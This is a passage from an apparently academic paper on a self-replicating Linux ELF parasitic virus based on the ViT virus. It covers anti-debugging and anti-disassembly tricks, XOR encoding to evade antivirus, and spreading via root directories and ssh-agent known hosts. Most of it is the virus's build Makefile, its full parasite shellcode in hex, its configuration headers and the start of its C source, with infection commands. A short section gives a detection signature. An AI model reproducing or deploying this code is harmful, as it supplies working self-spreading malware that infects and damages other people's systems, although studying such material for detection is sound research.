_ e x i t ( 0 ) ;
30
}
31
32
if ( w a i t p i d ( -1 , & status , 0) < 0)
33
r e t u r n 1; /* s o m e t h i n g n a s t y h a p p e n e d */
34
35
r e t u r n _ _ W E X I T S T A T U S ( s t a t u s );
36
}
Another method is to prevent tools such as objdump and gdb from being able to correctly disas-
semble our code. This can be done by inserting stray bytes in our assembly code and jumping over
them. This confuses disassemblers who assume that the stray byte is part of the next instruction.
1
" p u s h l % edx \ n "
2
# i f d e f A N T I _ D E B U G
3
" jmp a n t i d e b u g 1 + 1\ n "
4
" a n t i d e b u g 1 :\ n "
5
" . b y t e 0 xeb \ n "
6
/* 3 b y t e s */
7
# e n d i f
8
" p u s h l $ " M A G I C " \ n "
5.6
Summary
In summary our virus is an improvement over the ViT virus, although it is still a primitive virus
using virus technology of the 90’s. Newer viruses’ techniques such as metamorphism[
] and poly-
morphism are not used by this virus, and it can be argued that the technique we selected is not
suited for these kind of viruses due to space constraints. Also our choice of using the C language
to write the virus’ code can be questioned. Since we don’t have direct access to the object code
we depend a lot on the compiler behavior, thus a high level assembly language such as HLA could
have been more appropriate.
In brief our differences from the vanilla ViT virus are:
16
• written only in self-contained C with inline assembly;
• we copy the parasite code from the kernel’s memory mapped area of the executable, so we
don’t need to search for our executable;
• if root we check for executables in /usr/bin, /bin, /sbin, /usr/sbin otherwise in the
current directory;
• we search subdirectories too for executables;
• we preserve the modification and access time of the executable to be infected;
• we make use of some anti-debug features that will prevent somebody from checking our code
using objdump, or ptrace;
• the infection function uses mmap() thus is more compact than the original;
• if ssh-agent is running we spread across all known hosts;
• we do XOR of our main body with a random value that changes across infections. That will
not give to anti-virus software big patterns to identify us easily. We still have a 60-70 bytes
decoder, that can be used identify us.
17
A
Testing the virus
The main virus includes the following files:
Makefile
infect-elf-p.c
elf-p-virus.c
elf-text2egg.c
decoder.h
parasite.h
common.h
Most of the files are based on the sources of the original ViT virus. The main virus can be found
in elf-p-virus.c. The infect-elf-p.c is a program to make the first infection. The header
files parasite.h and decoder.h are automatically generated using the the output executable of
the virus. These contain the parasite code plus the positions in the virus of the values that need
to be patched –such as the host address etc. To test use the following commands:
$ make virus
$ make infect
$ ./infect /path/to/executable
By tweaking the definitions in common.h a virus with different features can be built.
B
Detecting the virus
One can detect our virus by checking an executables for the following hexadecimal pattern just
after the entry point. This is the pattern of our decoder and is quite big and unique to identify
it. Some techniques such as mutation of the decoder, as discussed in [
], might be effective in
eliminating patterns.
54 55 89 e5 57 56 50 53 51 52 68 6 c 69 62 63 31
db ba 2 d 00 00 00 89 d0 cd 80 89 c1 8 d 99 00 10
00 00 89 d0 cd 80 eb 19 5 b 31 d2 8 b 04 93 35 ??
?? ?? ?? 89 04 91 42 81 fa f8 02 00 00 7 e ec ff
e1 e8 e2 ff ff ff ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
Since our encoding algorithm is just an exclusive or other patterns can be obtained by XORing
the encoded data together. This can be defeated by using a better encoding algorithm, such as
one based on RC4 that is quite compact.
18
C
Source code
C.1
Makefile
1
E X E C = v i r u s
2
T M P F I L E = inc . tmp
3
GCC = gcc - 3 . 3
4
C F L A G S = - Os - m c p u = i 3 8 6 - m a r c h = i 3 8 6
5
6
# s t a r t s y m b o l
7
S T A R T _ S Y M B O L = m a i n 0
8
D E C R _ S T A R T _ S Y M B O L = m a i n 0
9
10
# our s t a r t i n g p o i n t
11
S T A R T = $ ( s h e l l o b j d u m p - D $ ( E X E C ) | g r e p $ ( S T A R T _ S Y M B O L )| \
12
h e a d -1 | awk ’ { p r i n t ( $$1 )} ’ | sed ’ s / // g ’ )
13
14
# our e n d i n g p o i n t ... use the d e a d c a f e m a r k p o i n t to f i n d it
15
END = $ ( s h e l l o b j d u m p - D $ ( E X E C ) | g r e p d e a d c a f e | \
16
awk - F " : " ’ { p r i n t ( $$1 )} ’ | sed ’ s / // g ’ )
17
18
# our e n d i n g p o i n t ... use the d e a d c a f e m a r k p o i n t to f i n d it
19
D E C R _ E N D = $ ( s h e l l o b j d u m p - D $ ( E X E C ) | g r e p e n c o d e d _ s t u f f | \
20
h e a d
-1| awk - F " " ’ { p r i n t ( $$1 )} ’ | sed ’ s / // g ’ )
21
22
# w h e r e is the v a l u e t h a t we n e e d to r e p l a c e in o r d e r to s e e k
23
# and f i n d o u r s e l v e s in the h o s t . r e l a t i v e v a l u e to our s t a r t .
24
# a d d r e s s of 0 x f a c f a c f a - a d d r e s s of our s t a r t + 6
25
M O D I F Y = $ ( s h e l l o b j d u m p - D $ { E X E C } | g r e p 0 x f a c f a c f a | \
26
awk ’ B E G I N { FS = " : " } { p r i n t ( $$1 )} ’ | sed ’ s / // g ’ )
27
28
# t h i s is the xor v a l u e . F i n d the p o s i t i o n of it . T h i s m i g h t now be v e r y r e l i a b l e .
29
D E C R _ M O D I F Y = $ ( s h e l l o b j d u m p - D $ { E X E C }| g r e p - A 10 h e r e _ w e _ a r e | \
30
g r e p 0 x 5 f 5 f 5 f 5 f | h e a d -1 | awk ’ B E G I N { FS = " : " } { p r i n t ( $$1 )} ’ | sed ’ s / // g ’ )
31
32
all : i n f e c t
33
34
d e c o d e r . h : v i r u s
35
@ e c h o " # d e f i n e D _ X O R _ I N D E X ((0 x0$ ( D E C R _ M O D I F Y ) - 0 x0$ ( S T A R T ) ) + 1 ) " > $ ( T M P F I L E )
36
@ e c h o " # d e f i n e D _ S I Z E ((0 x0$ ( D E C R _ E N D ) - 0 x0$ ( S T A R T ))) " > > $ ( T M P F I L E )
37
@cp $ ( T M P F I L E ) d e c o d e r . h
38
@rm $ ( T M P F I L E )
39
40
v i r u s : elf - p - v i r u s . c c o m m o n . h
41
@$ ( GCC ) elf - p - v i r u s . c $ ( C F L A G S ) - o $ ( E X E C )
42
@ m a k e p a r a s i t e . h
43
@ m a k e d e c o d e r . h
44
@$ ( GCC ) elf - p - v i r u s . c $ ( C F L A G S ) - o $ ( E X E C )
45
@ m a k e p a r a s i t e . h
46
$ ( GCC ) elf - p - v i r u s . c $ ( C F L A G S ) - o $ ( E X E C )
47
48
i n f e c t : p a r a s i t e . h infect - elf - p . c
49
$ ( GCC ) - g infect - elf - p . c $ ( C F L A G S ) - o i n f e c t
50
51
elf - t e x t 2 e g g : elf - t e x t 2 e g g . c
52
$ ( GCC ) elf - t e x t 2 e g g . c - o elf - t e x t 2 e g g
53
54
p a r a s i t e . h : elf - t e x t 2 e g g v i r u s
55
@ e c h o " # d e f i n e P A R _ S T R I N G \\ " > $ ( T M P F I L E )
56
./ elf - t e x t 2 e g g $ ( E X E C ) 0 x0$ { S T A R T } 0 x0$ { END } > > $ ( T M P F I L E )
57
@ e c h o " # d e f i n e P _ E N T R Y 0 " > > $ ( T M P F I L E )
58
@ e c h o " # d e f i n e H _ I N D E X s i z e o f ( P A R _ S T R I N G ) -1 -6 " > > $ ( T M P F I L E )
59
@ e c h o " # d e f i n e P _ S E E K _ I N D E X ((0 x0$ ( M O D I F Y ) - 0 x0$ ( S T A R T ) ) + 6 ) " > > $ ( T M P F I L E )
60
61
@ p r i n t f " \
62
# i f n d e f N O _ S T R I N G \ n \
19
63
s t a t i c c h a r p a r a s i t e [ E L F _ P A G E _ S I Z E ] =\ n \
64
P A R _ S T R I N G \ n \
65
;\ n \
66
\ n \
67
l o n g h _ i n d e x = H _ I N D E X ;\ n \
68
l o n g e n t r y = P _ E N T R Y ;\ n \
69
int p l e n g t h = s i z e o f ( P A R _ S T R I N G ) -1;\ n \
70
# e n d i f \ n " > > $ ( T M P F I L E )
71
@cp $ ( T M P F I L E ) p a r a s i t e . h
72
@rm $ ( T M P F I L E )
73
@ e c h o P a r a s i t e c r e a t e d !
74
75
C.2
parasite.h
1
# d e f i n e P A R _ S T R I N G \
2
" \ x54 \ x55 \ x89 \ xe5 \ x57 \ x56 \ x50 \ x53 \ x51 \ x52 \ x68 \ x6c \ x69 \ x62 \ x63 \ x31 " \
3
" \ xdb \ xba \ x2d \ x00 \ x00 \ x00 \ x89 \ xd0 \ xcd \ x80 \ x89 \ xc1 \ x8d \ x99 \ x00 \ x10 " \
4
" \ x00 \ x00 \ x89 \ xd0 \ xcd \ x80 \ xeb \ x19 \ x5b \ x31 \ xd2 \ x8b \ x04 \ x93 \ x35 \ x5f " \
5
" \ x5f \ x5f \ x5f \ x89 \ x04 \ x91 \ x42 \ x81 \ xfa \ x84 \ x03 \ x00 \ x00 \ x7e \ xec \ xff " \
6
" \ xe1 \ xe8 \ xe2 \ xff \ xff \ xff \ xe9 \ x43 \ x03 \ x00 \ x00 \ x55 \ x89 \ xe5 \ x53 \ x83 " \
7
" \ xec \ x20 \ x8b \ x45 \ x08 \ x89 \ x45 \ xdc \ x8b \ x45 \ x0c \ x89 \ x45 \ xe0 \ x8b \ x45 " \
8
" \ x10 \ x89 \ x45 \ xe4 \ x8b \ x45 \ x14 \ x89 \ x45 \ xe8 \ x8b \ x45 \ x18 \ x89 \ x45 \ xec " \
9
" \ x8b \ x45 \ x1c \ x89 \ x45 \ xf0 \ x8d \ x5d \ xdc \ xb8 \ x5a \ x00 \ x00 \ x00 \ xcd \ x80 " \
10
" \ x3d \ x7e \ xff \ xff \ xff \ x89 \ xc3 \ x76 \ x0c \ xf7 \ xdb \ xe8 \ x7c \ xfe \ xff \ xff " \
11
" \ x89 \ x18 \ x83 \ xcb \ xff \ x83 \ xc4 \ x20 \ x89 \ xd8 \ x5b \ xc9 \ xc3 \ x55 \ x89 \ xe5 " \
12
" \ x56 \ x53 \ x8b \ x5d \ x10 \ x89 \ xd8 \ x31 \ xd2 \ xc1 \ xe8 \ x02 \ x39 \ xc2 \ x8b \ x4d " \
13
" \ x08 \ x8b \ x75 \ x0c \ x73 \ x08 \ x31 \ x34 \ x91 \ x42 \ x39 \ xc2 \ x72 \ xf8 \ x8d \ x04 " \
14
" \ x95 \ x00 \ x00 \ x00 \ x00 \ x39 \ xd8 \ x73 \ x03 \ x31 \ x34 \ x91 \ x5b \ x5e \ xc9 \ xc3 " \
15
" \ x55 \ x89 \ xe5 \ x57 \ x56 \ x53 \ x83 \ xec \ x68 \ x8a \ x45 \ x24 \ x8b \ x75 \ x0c \ x88 " \
16
" \ x45 \ xa7 \ xc7 \ x45 \ xa0 \ xff \ xff \ xff \ xff \ xc7 \ x45 \ x9c \ xff \ xff \ xff \ xff " \
17
" \ x8d \ x4d \ xb4 \ xb8 \ x6c \ x00 \ x00 \ x00 \ x89 \ xf3 \ xcd \ x80 \ x85 \ xc0 \ x0f \ x88 " \
18
" \ x52 \ x02 \ x00 \ x00 \ x8b \ x45 \ xc8 \ x3d \ xff \ x0f \ x00 \ x00 \ x0f \ x86 \ x44 \ x02 " \
19
" \ x00 \ x00 \ x6a \ x00 \ x56 \ x6a \ x02 \ x6a \ x03 \ x50 \ x6a \ x00 \ xe8 \ x2a \ xff \ xff " \
20
" \ xff \ x83 \ xc4 \ x18 \ x83 \ xf8 \ xff \ x89 \ x45 \ xa0 \ x0f \ x84 \ x26 \ x02 \ x00 \ x00 " \
21
" \ x81 \ x38 \ x7f \ x45 \ x4c \ x46 \ x0f \ x85 \ x1a \ x02 \ x00 \ x00 \ x89 \ xc7 \ x66 \ x8b " \
22
" \ x40 \ x10 \ x83 \ xe8 \ x02 \ x66 \ x83 \ xf8 \ x01 \ x0f \ x87 \ x07 \ x02 \ x00 \ x00 \ x66 " \
23
" \ x8b \ x47 \ x12 \ x66 \ x83 \ xf8 \ x03 \ x74 \ x0a \ x66 \ x83 \ xf8 \ x06 \ x0f \ x85 \ xf3 " \
24
" \ x01 \ x00 \ x00 \ x8b \ x45 \ xa0 \ x83 \ x78 \ x14 \ x01 \ x0f \ x85 \ xe6 \ x01 \ x00 \ x00 " \
25
" \ x89 \ xc2 \ x89 \ xd1 \ x66 \ x8b \ x7a \ x2c \ x8b \ x40 \ x18 \ x03 \ x4a \ x1c \ x31 \ xdb " \
26
" \ x66 \ x85 \ xff \ x89 \ x45 \ xb0 \ xc7 \ x45 \ x98 \ x00 \ x00 \ x00 \ x00 \ x0f \ x84 \ xc3 " \
27
" \ x01 \ x00 \ x00 \ x83 \ x7d \ x98 \ x00 \ x74 \ x09 \ x81 \ x41 \ x04 \ x00 \ x10 \ x00 \ x00 " \
28
" \ xeb \ x58 \ x83 \ x39 \ x01 \ x75 \ x53 \ x83 \ x79 \ x04 \ x00 \ x75 \ x4d \ x8b \ x41 \ x10 " \
29
" \ x3b \ x41 \ x14 \ x0f \ x85 \ x9d \ x01 \ x00 \ x00 \ x03 \ x41 \ x08 \ x89 \ xc2 \ x81 \ xe2 " \
30
" \ xff \ x0f \ x00 \ x00 \ x89 \ x45 \ x94 \ xb8 \ x00 \ x10 \ x00 \ x00 \ x29 \ xd0 \ x3b \ x45 " \
31
" \ x14 \ x0f \ x8c \ x7f \ x01 \ x00 \ x00 \ x8b \ x45 \ x94 \ x03 \ x45 \ x1c \ x8b \ x55 \ xa0 " \
32
" \ x89 \ x42 \ x18 \ x8b \ x41 \ x10 \ x8b \ x51 \ x04 \ x01 \ xc2 \ x03 \ x45 \ x14 \ x89 \ x41 " \
33
" \ x10 \ x8b \ x45 \ x14 \ x89 \ x55 \ x98 \ x01 \ x41 \ x14 \ x43 \ x0f \ xb7 \ xc7 \ x83 \ xc1 " \
34
" \ x20 \ x39 \ xc3 \ x7c \ x8e \ x83 \ x7d \ x98 \ x00 \ x0f \ x84 \ x47 \ x01 \ x00 \ x00 \ x8b " \
35
" \ x4d \ xa0 \ x8b \ x55 \ xa0 \ x66 \ x8b \ x79 \ x30 \ x03 \ x52 \ x20 \ x31 \ xdb \ x66 \ x85 " \
36
" \ xff \ x74 \ x3a \ x8b \ x42 \ x10 \ x3b \ x45 \ x98 \ x72 \ x0a \ x05 \ x00 \ x10 \ x00 \ x00 " \
37
" \ x89 \ x42 \ x10 \ xeb \ x1d \ x8b \ x4a \ x14 \ x8b \ x42 \ x0c \ x01 \ xc8 \ x3b \ x45 \ x94 " \
38
" \ x75 \ x10 \ x83 \ x7a \ x04 \ x01 \ x0f \ x85 \ x0a \ x01 \ x00 \ x00 \ x03 \ x4d \ x14 \ x89 " \
39
" \ x4a \ x14 \ x43 \ x0f \ xb7 \ xc7 \ x83 \ xc2 \ x28 \ x39 \ xc3 \ x7c \ xc6 \ x8b \ x5d \ xa0 " \
40
" \ x8b \ x43 \ x20 \ x3b \ x45 \ x98 \ x72 \ x08 \ x05 \ x00 \ x10 \ x00 \ x00 \ x89 \ x43 \ x20 " \
41
" \ x8b \ x7d \ xc8 \ x8d \ x8f \ xff \ x0f \ x00 \ x00 \ x31 \ xd2 \ xb8 \ x13 \ x00 \ x00 \ x00 " \
42
" \ x89 \ xf3 \ xcd \ x80 \ xba \ x01 \ x00 \ x00 \ x00 \ x8d \ x4d \ xb0 \ xb8 \ x04 \ x00 \ x00 " \
43
" \ x00 \ xcd \ x80 \ x6a \ x00 \ x56 \ x6a \ x01 \ x6a \ x02 \ x8d \ x9f \ x00 \ x10 \ x00 \ x00 " \
44
" \ x53 \ x6a \ x00 \ xe8 \ xa3 \ xfd \ xff \ xff \ x83 \ xc4 \ x18 \ x83 \ xf8 \ xff \ x89 \ x45 " \
45
" \ x9c \ x0f \ x84 \ x9f \ x00 \ x00 \ x00 \ xfc \ x8b \ x75 \ xa0 \ x8b \ x4d \ x98 \ x89 \ xc7 " \
46
" \ xf3 \ xa4 \ x8b \ x5d \ x14 \ x8b \ x45 \ x10 \ x83 \ xeb \ x46 \ x53 \ x89 \ x75 \ x90 \ x89 " \
47
" \ xc6 \ xff \ x70 \ x2f \ x83 \ xc6 \ x46 \ x56 \ x89 \ x7d \ x8c \ xe8 \ xbd \ xfd \ xff \ xff " \
48
" \ x8b \ x45 \ x20 \ x8b \ x4d \ x98 \ x8b \ x55 \ x10 \ x89 \ x0c \ x10 \ x8b \ x7d \ x10 \ x8b " \
49
" \ x45 \ x18 \ x8b \ x55 \ xb0 \ x89 \ x14 \ x38 \ x53 \ x8b \ x47 \ x2f \ x0f \ xbe \ x5d \ xa7 " \
20
50
" \ x0f \ xaf \ xc3 \ x50 \ x56 \ xe8 \ x93 \ xfd \ xff \ xff \ x0f \ xaf \ x5f \ x2f \ x89 \ x5f " \
51
" \ x2f \ xfc \ x8b \ x7d \ x8c \ x8b \ x75 \ x10 \ xb9 \ x00 \ x04 \ x00 \ x00 \ xf3 \ xa5 \ x8b " \
52
" \ x4d \ xc8 \ x8b \ x7d \ x8c \ x2b \ x4d \ x98 \ x81 \ xc7 \ x00 \ x10 \ x00 \ x00 \ x8b \ x75 " \
53
" \ x90 \ xf3 \ xa4 \ x8b \ x45 \ xd4 \ x89 \ x45 \ xa8 \ x8b \ x45 \ xdc \ x89 \ x45 \ xac \ x8d " \
54
" \ x4d \ xa8 \ x83 \ xc4 \ x18 \ xb8 \ x1e \ x00 \ x00 \ x00 \ x8b \ x5d \ x08 \ xcd \ x80 \ xba " \
55
" \ x01 \ x00 \ x00 \ x00 \ xeb \ x02 \ x31 \ xd2 \ x83 \ x7d \ xa0 \ xff \ x74 \ x0d \ x8b \ x4d " \
56
" \ xc8 \ xb8 \ x5b \ x00 \ x00 \ x00 \ x8b \ x5d \ xa0 \ xcd \ x80 \ x83 \ x7d \ x9c \ xff \ x74 " \
57
" \ x13 \ x8b \ x4d \ xc8 \ x81 \ xc1 \ x00 \ x10 \ x00 \ x00 \ xb8 \ x5b \ x00 \ x00 \ x00 \ x8b " \
58
" \ x5d \ x9c \ xcd \ x80 \ x8d \ x65 \ xf4 \ x5b \ x5e \ x89 \ xd0 \ x5f \ xc9 \ xc3 \ x55 \ x89 " \
59
" \ xe5 \ x57 \ x56 \ x53 \ x81 \ xec \ x48 \ x31 \ x00 \ x00 \ xb8 \ x0d \ x00 \ x00 \ x00 \ xc7 " \
60
" \ x85 \ xf0 \ xcf \ xff \ xff \ x14 \ x07 \ x00 \ x00 \ xc7 \ x85 \ xc0 \ xce \ xff \ xff \ x00 " \
61
" \ x00 \ x00 \ x00 \ xc7 \ x85 \ xec \ xcf \ xff \ xff \ xd9 \ x03 \ x00 \ x00 \ x31 \ xdb \ xc7 " \
62
" \ x85 \ xe8 \ xcf \ xff \ xff \ x0e \ x07 \ x00 \ x00 \ xc7 \ x85 \ xe4 \ xcf \ xff \ xff \ x00 " \
63
" \ x00 \ x00 \ x00 \ xc7 \ x85 \ xe0 \ xcf \ xff \ xff \ xfa \ xac \ xcf \ xfa \ xcd \ x80 \ x6b " \
64
" \ xc0 \ x05 \ x83 \ xc0 \ x1f \ xb9 \ xfd \ x01 \ x00 \ x00 \ x99 \ xf7 \ xf9 \ x8b \ xb5 \ xe0 " \
65
" \ xcf \ xff \ xff \ x89 \ x95 \ xbc \ xce \ xff \ xff \ xfc \ x81 \ xc6 \ x00 \ x80 \ x04 \ x08 " \
66
" \ x8b \ x8d \ xf0 \ xcf \ xff \ xff \ x8d \ xbd \ xf4 \ xcf \ xff \ xff \ xf3 \ xa4 \ x8b \ x8d " \
67
" \ xc0 \ xce \ xff \ xff \ xe9 \ xc9 \ x02 \ x00 \ x00 \ x58 \ x89 \ xc6 \ x8d \ x7e \ x13 \ xb8 " \
68
" \ x05 \ x00 \ x00 \ x00 \ x89 \ xfb \ x89 \ xca \ xcd \ x80 \ x85 \ xc0 \ x89 \ x85 \ xb8 \ xce " \
69
" \ xff \ xff \ x0f \ x88 \ x75 \ x02 \ x00 \ x00 \ xb8 \ x18 \ x00 \ x00 \ x00 \ xcd \ x80 \ x85 " \
70
" \ xc0 \ x75 \ x32 \ xba \ x04 \ x00 \ x00 \ x00 \ x8b \ x85 \ xbc \ xce \ xff \ xff \ x89 \ xd3 " \
71
" \ x99 \ xf7 \ xfb \ x83 \ xfa \ x01 \ x74 \ x0e \ x7e \ x1d \ x83 \ xfa \ x03 \ x74 \ x0c \ x83 " \
72
" \ xfa \ x04 \ x74 \ x0c \ xeb \ x11 \ x83 \ xc6 \ x04 \ xeb \ x0c \ x83 \ xc6 \ x09 \ xeb \ x07 " \
73
" \ x83 \ xc6 \ x0d \ xeb \ x02 \ x89 \ xfe \ x31 \ xc9 \ xb8 \ x05 \ x00 \ x00 \ x00 \ x89 \ xf3 " \
74
" \ x89 \ xca \ xcd \ x80 \ x85 \ xc0 \ x89 \ x85 \ xc8 \ xce \ xff \ xff \ x0f \ x88 \ x1b \ x02 " \
75
" \ x00 \ x00 \ xb8 \ x85 \ x00 \ x00 \ x00 \ x8b \ x9d \ xc8 \ xce \ xff \ xff \ xcd \ x80 \ x85 " \
76
" \ xc0 \ x0f \ x85 \ x06 \ x02 \ x00 \ x00 \ xc7 \ x85 \ xc4 \ xce \ xff \ xff \ x00 \ x00 \ x00 " \
77
" \ x00 \ x8d \ x8d \ xf4 \ xdf \ xff \ xff \ xba \ x00 \ x20 \ x00 \ x00 \ xb8 \ x8d \ x00 \ x00 " \
78
" \ x00 \ xcd \ x80 \ x85 \ xc0 \ x89 \ xc7 \ x0f \ x8e \ xc9 \ x01 \ x00 \ x00 \ x89 \ x8d \ xb4 " \
79
" \ xce \ xff \ xff \ xc7 \ x85 \ xb0 \ xce \ xff \ xff \ x00 \ x00 \ x00 \ x00 \ x6b \ x85 \ xbc " \
80
" \ xce \ xff \ xff \ x05 \ x83 \ xc0 \ x1f \ x99 \ xb9 \ xfd \ x01 \ x00 \ x00 \ xf7 \ xf9 \ x89 " \
81
" \ xd0 \ x89 \ x95 \ xac \ xce \ xff \ xff \ x89 \ x95 \ xbc \ xce \ xff \ xff \ xbe \ x05 \ x00 " \
82
" \ x00 \ x00 \ x99 \ xf7 \ xfe \ xff \ x85 \ xc0 \ xce \ xff \ xff \ x85 \ xd2 \ x0f \ x85 \ x91 " \
83
" \ x00 \ x00 \ x00 \ x8b \ x8d \ xb4 \ xce \ xff \ xff \ x66 \ x83 \ x79 \ x0a \ x2e \ x0f \ x84 " \
84
" \ x80 \ x00 \ x00 \ x00 \ x89 \ xcb \ x83 \ xc3 \ x0a \ xb9 \ x00 \ x00 \ x01 \ x00 \ x89 \ xf0 " \
85
" \ xcd \ x80 \ x85 \ xc0 \ x89 \ x85 \ xcc \ xce \ xff \ xff \ x78 \ x68 \ xb8 \ x06 \ x00 \ x00 " \
86
" \ x00 \ x8b \ x9d \ xc8 \ xce \ xff \ xff \ xcd \ x80 \ x8b \ x85 \ xcc \ xce \ xff \ xff \ x89 " \
87
" \ x85 \ xc8 \ xce \ xff \ xff \ x8b \ x9d \ xcc \ xce \ xff \ xff \ xb8 \ x85 \ x00 \ x00 \ x00 " \
88
" \ xcd \ x80 \ x85 \ xc0 \ x0f \ x85 \ x43 \ x01 \ x00 \ x00 \ x8d \ xbd \ xf4 \ xdf \ xff \ xff " \
89
" \ xfc \ xb9 \ x00 \ x08 \ x00 \ x00 \ xf3 \ xab \ xba \ x00 \ x20 \ x00 \ x00 \ x8d \ x8d \ xf4 " \
90
" \ xdf \ xff \ xff \ xb8 \ x8d \ x00 \ x00 \ x00 \ xcd \ x80 \ x85 \ xc0 \ x89 \ xc7 \ x0f \ x8e " \
91
" \ x02 \ x01 \ x00 \ x00 \ xc7 \ x85 \ xb0 \ xce \ xff \ xff \ x00 \ x00 \ x00 \ x00 \ x89 \ x8d " \
92
" \ xb4 \ xce \ xff \ xff \ x8b \ xb5 \ xb4 \ xce \ xff \ xff \ x83 \ xc6 \ x0a \ xb9 \ x02 \ x00 " \
93
" \ x00 \ x00 \ x31 \ xd2 \ xb8 \ x05 \ x00 \ x00 \ x00 \ x89 \ xf3 \ xcd \ x80 \ x85 \ xc0 \ x89 " \
94
" \ x85 \ xcc \ xce \ xff \ xff \ x78 \ x68 \ x8d \ x8d \ xd0 \ xce \ xff \ xff \ xba \ x0c \ x01 " \
95
" \ x00 \ x00 \ xb8 \ x8d \ x00 \ x00 \ x00 \ x8b \ x9d \ xcc \ xce \ xff \ xff \ xcd \ x80 \ x85 " \
96
" \ xc0 \ x79 \ x4c \ x0f \ xbe \ x85 \ xac \ xce \ xff \ xff \ x50 \ x8b \ x85 \ xec \ xcf \ xff " \
97
" \ xff \ x50 \ x8b \ x85 \ xe4 \ xcf \ xff \ xff \ x50 \ x8b \ x85 \ xe8 \ xcf \ xff \ xff \ x50 " \
98
" \ x8b \ x85 \ xf0 \ xcf \ xff \ xff \ x50 \ x8d \ x85 \ xf4 \ xcf \ xff \ xff \ x50 \ x53 \ x56 " \
99
" \ xe8 \ xbb \ xfa \ xff \ xff \ x83 \ xc4 \ x20 \ x85 \ xc0 \ x74 \ x06 \ xff \ x85 \ xc4 \ xce " \
100
" \ xff \ xff \ xb8 \ x06 \ x00 \ x00 \ x00 \ x8b \ x9d \ xcc \ xce \ xff \ xff \ xcd \ x80 \ x83 " \
101
" \ xbd \ xac \ xce \ xff \ xff \ x00 \ xba \ x01 \ x00 \ x00 \ x00 \ x7e \ x40 \ x8b \ x8d \ xb4 " \
102
" \ xce \ xff \ xff \ x0f \ xb7 \ x41 \ x08 \ x01 \ x85 \ xb0 \ xce \ xff \ xff \ x39 \ xbd \ xb0 " \
103
" \ xce \ xff \ xff \ x7c \ x0a \ xc7 \ x85 \ xb0 \ xce \ xff \ xff \ x00 \ x00 \ x00 \ x00 \ x89 " \
104
" \ xd0 \ x8b \ x9d \ xb0 \ xce \ xff \ xff \ x8d \ x9c \ x2b \ xf4 \ xdf \ xff \ xff \ x42 \ x3b " \
105
" \ x85 \ xac \ xce \ xff \ xff \ x89 \ x9d \ xb4 \ xce \ xff \ xff \ x7c \ xc0 \ x81 \ xbd \ xc0 " \
106
" \ xce \ xff \ xff \ x80 \ x00 \ x00 \ x00 \ x7d \ x0d \ x83 \ xbd \ xc4 \ xce \ xff \ xff \ x02 " \
107
" \ x0f \ x8e \ x47 \ xfe \ xff \ xff \ xb8 \ x06 \ x00 \ x00 \ x00 \ x8b \ x9d \ xc8 \ xce \ xff " \
108
" \ xff \ xcd \ x80 \ xc7 \ x85 \ xcc \ xce \ xff \ xff \ xff \ xff \ xff \ xff \ x83 \ xbd \ xcc " \
109
" \ xce \ xff \ xff \ x00 \ x78 \ x0d \ xb8 \ x06 \ x00 \ x00 \ x00 \ x8b \ x9d \ xcc \ xce \ xff " \
110
" \ xff \ xcd \ x80 \ x83 \ xbd \ xb8 \ xce \ xff \ xff \ x00 \ x78 \ x14 \ xb8 \ x85 \ x00 \ x00 " \
111
" \ x00 \ x8b \ x9d \ xb8 \ xce \ xff \ xff \ xcd \ x80 \ xb8 \ x06 \ x00 \ x00 \ x00 \ xcd \ x80 " \
112
" \ xeb \ x1b \ xe8 \ x32 \ xfd \ xff \ xff \ x2f \ x75 \ x73 \ x72 \ x2f \ x62 \ x69 \ x6e \ x00 " \
113
" \ x2f \ x75 \ x73 \ x72 \ x2f \ x73 \ x62 \ x69 \ x6e \ x00 \ x2e \ x00 \ x00 \ x58 \ x3d \ x6c " \
114
" \ x69 \ x62 \ x63 \ x75 \ xf8 \ x5a \ x59 \ x5b \ x58 \ x5e \ x5f \ x5d \ x5c \ xbd \ x22 \ x22 " \
115
" \ x11 \ x11 \ xff \ xe5 "
116
21
117
# d e f i n e P _ E N T R Y 0
118
# d e f i n e H _ I N D E X s i z e o f ( P A R _ S T R I N G ) -1 -6
119
# d e f i n e P _ S E E K _ I N D E X ((0 x 0 8 0 4 8 9 d 7 - 0 x 0 0 8 0 4 8 6 0 4 ) + 6 )
120
# i f n d e f N O _ S T R I N G
121
s t a t i c c h a r p a r a s i t e [ E L F _ P A G E _ S I Z E ] =
122
P A R _ S T R I N G
123
;
124
125
l o n g h _ i n d e x = H _ I N D E X ;
126
l o n g e n t r y = P _ E N T R Y ;
127
int p l e n g t h = s i z e o f ( P A R _ S T R I N G ) -1;
128
# e n d i f
C.3
decoder.h
1
# d e f i n e D _ X O R _ I N D E X ((0 x 0 8 0 4 8 6 3 2 - 0 x 0 0 8 0 4 8 6 0 4 ) + 1 )
2
# d e f i n e D _ S I Z E ((0 x 0 0 8 0 4 8 6 4 a - 0 x 0 0 8 0 4 8 6 0 4 ))
C.4
common.h
1
# d e f i n e E N C R Y P T
2
# d e f i n e L O C A L _ S P R E A D
3
4
/* w h e t h e r to s p r e a d u s i n g t h e n e t w o r k
5
*/
6
// # d e f i n e
U _ S P R E A D
7
8
/* S o m e a n t i d e b u g g i n g
t e c h n i q u e s w i l l be u s e d .
9
*/
10
// # d e f i n e
A N T I _ D E B U G
11
12
/* o n l y u s e f u l if L O C A L _ S P R E A D is t h e r e . I d o n ’ t k n o w w h e r e
13
* t h i s c a n be u s e f u l a n y w a y , s i n c e t h e d e f a u l t w o r k s f o r 9 9 %
14
* of t h e e x e c u t a b l e s .
15
*/
16
# u n d e f U N S U R E _ A B O U T _ L D _ P O I N T E R
C.5
elf-p-virus.c
1
/* C F L A G S : - Os - m a r c h = i 3 8 6
2
*
3
* S i z e s w i t h d i f f e r e n t
f e a t u r e s
e n a b l e d ( u s i n g gcc - 3 . 3 ) :
4
* a l l : 3 1 2 8 b y t e s
5
* a l l e x c e p t
a n t i d e b u g : 3 0 1 6 b y t e s
6
* l o c a l _ s p r e a d + e n c o d e + a n t i d e b u g : 1 9 3 8 b y t e s
7
* l o c a l _ s p r e a d + e n c o d e : 1 8 1 4 b y t e s
8
* l o c a l _ s p r e a d : 1 6 3 5 b y t e s
9
*/
10
11
/* D i f f e r e n c e s f r o m s i l v i o ’ s v i r u s :
12
*
13
* 1. W r i t t e n o n l y in self - c o n t a i n e d C w i t h i n l i n e
a s s e m b l y
14
* 2. We d o n ’ t o p e n o u r s e l f . We c o p y t h e p a r a s i t e c o d e
15
*
f r o m t h e m m a p e d k e r n e l m e m o r y of t h e e x e c u t a b l e ( if L O C A L _ S P R E A D is
16
*
d e f i n e d ).
17
